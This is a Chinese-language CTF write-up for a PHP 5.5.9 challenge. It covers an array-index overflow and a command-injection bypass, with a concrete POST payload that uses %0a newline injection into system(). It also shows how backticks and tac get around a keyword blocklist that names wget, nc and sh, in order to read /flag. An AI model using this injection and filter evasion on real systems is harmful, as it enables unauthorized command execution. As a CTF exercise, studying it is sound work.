知识点1 php5.5.9版本数字溢出漏洞
知识点2 代码执行的绕过技巧
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {、
//在这里就用到了数字溢出漏洞,
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
//这里用到绕过的知识点
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}
1.数字溢出漏洞
漏洞原理
即,当数组为九位16机制数时,会溢出,等同于重新排序,16的8次方即4294967296在逻辑上等同于下标0;
16的八次方 = 4294967296;
解题:
步骤1
$stuff === $array && $stuff[0] != 'admin'
跟据这行代码我们构造参数为
stuff[4294967296]=admin&stuff[1]=user
步骤2
system("echo ".$num);
看到system函数,猜测为命令执行漏洞,利用截断符(%0a,即换行)来进行命令执行
构造参数
num=1%0als
payload为
stuff[4294967296]=admin&stuff[1]=user&num=1%0als
将参数放在hackbar执行(因为参数是post请求的)并且通过bp拦截post请求包
注意到 %0D%0A,这个是windows系统的截断符,将其换成 %0a后即可进行命令执行
(这里的a不区分大小写)
成功找到漏洞点
步骤2
接下来就是绕过了
!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)
//这些字符都被过滤了
sh,wget,nc,python,php,perl,?,flag,},cat,echo,*,^,],\,',",|
常用的,如ls并没有被过滤
那个+号是因为这个字符被url编码了,因此空格得用+号来替代
解决cat被禁
因为cat被ban了,因此我们用tac,tac命令就是反着的cat命令。
cat命令是第一行到最后一行输出,tac是最后一行到第一行输出
解决flag被禁
尝试fla*,发现*也被禁了
问题在于怎么给tac传递 /flag参数
方式1,官方题解
通过给一个文件写入 /flag路径,再通过这个文件拿到/flag
先后向zer0b文件写入 /fla,g 组成/flag,再通过 tac 命令获取zer0b的内容,即可获取/flag
`,这个符号(在键盘的tab键上方)在linux中相当于优先执行的权限
tac `tac /tmp/zer0b` 这条命令执行过程
首先执行 ``里的内容即 tac /tmp/zer0b 执行结果为 /flag
其次执行整个语句即 tac /flag
成功获取flag